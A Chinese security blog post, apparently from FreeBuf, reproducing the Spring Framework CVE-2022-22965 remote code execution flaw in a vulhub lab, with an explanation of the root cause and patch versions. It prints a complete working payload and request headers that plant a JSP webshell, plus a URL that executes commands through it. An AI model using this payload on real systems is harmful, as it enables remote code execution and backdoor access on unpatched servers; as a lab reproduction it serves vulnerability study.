freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[CVE-2022-22965]-Spring Framework远程代码执行漏洞复现
xiayule 2022-05-15 11:02:57 234432
所属地 北京

漏洞分析:

看过有大佬分析发现,这个Spring最新0day漏洞其实不是全新的那种新洞,而是CVE-2010-1622这个漏洞的一种绕过情况。

​ 这个CVE-2010-1622漏洞的原因是Spring参数绑定时,可以注入一个Java pojo对象,这个对象可以是恶意的去注册一些敏感tomcat的属性,最后通过修改Tomcat的配置参数执行危险操作。

​ 所以最新的CVE-2022-22965漏洞就是绕过了这个限制,可以说是Java 9的环境下坑了Spring一把,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞,最后利用方式也就和之前一样了。通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。

利用条件:

使用JDK9及以上版本

使用Apache Tomcat作为容器

使用了传统的WAR包部署方式

依赖了spring-wemvc以及springwebflux

Spring Framework版本为5.3.0到5.3.17,5.2.0到5.2.19以及其他老版本

复现过程:

本次复习的环境是用vulhub上的,docker直接拉起。

1652583417_62806bf962dfdc6a18932.png!small?1652583417537

拉起后docker ps查看端口号并去访问页面

1652583481_62806c39b647d31aafdda.png!small?1652583483593

构造恶意的请求地址

1652583490_62806c42bcdd3d725544d.png!small?1652583490958

Poc:

?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

打开bp抓取请求包

1652583566_62806c8e37385aee1961b.png!small?1652583568027

修改请求头为:

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

Content-Length: 2

1652583587_62806ca3106e703e09a05.png!small?1652583588252

可以打开靶机进入到容器里在/tomcat/webapps/ROOT目录下查看到tomcatwar.jsp文件成功被写入

1652583605_62806cb5cdbcebca22975.png!small?1652583606324

访问地址

http://192.168.74.185:8080/tomcatwar.jsp?pwd=j&cmd=whoami

1652583618_62806cc2da281b37aa284.png!small?1652583619676

成功执行命令

漏洞修复:

目前官方已发布新版本5.2.20.RELEASE与5.3.18修复此漏洞,请受影响的用户尽快更新进行防护。

# 漏洞分析
本文为 xiayule 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
xiayule LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 4 关注者
【CVE-2016-4437】-Shiro 1.2.4反序列化漏洞复现
2022-05-12
Tomcat Session反序列化漏洞复现(CVE-2020-9484)
2021-11-02
DVWA高级登录,验证码绕过详细步骤教程
2021-10-09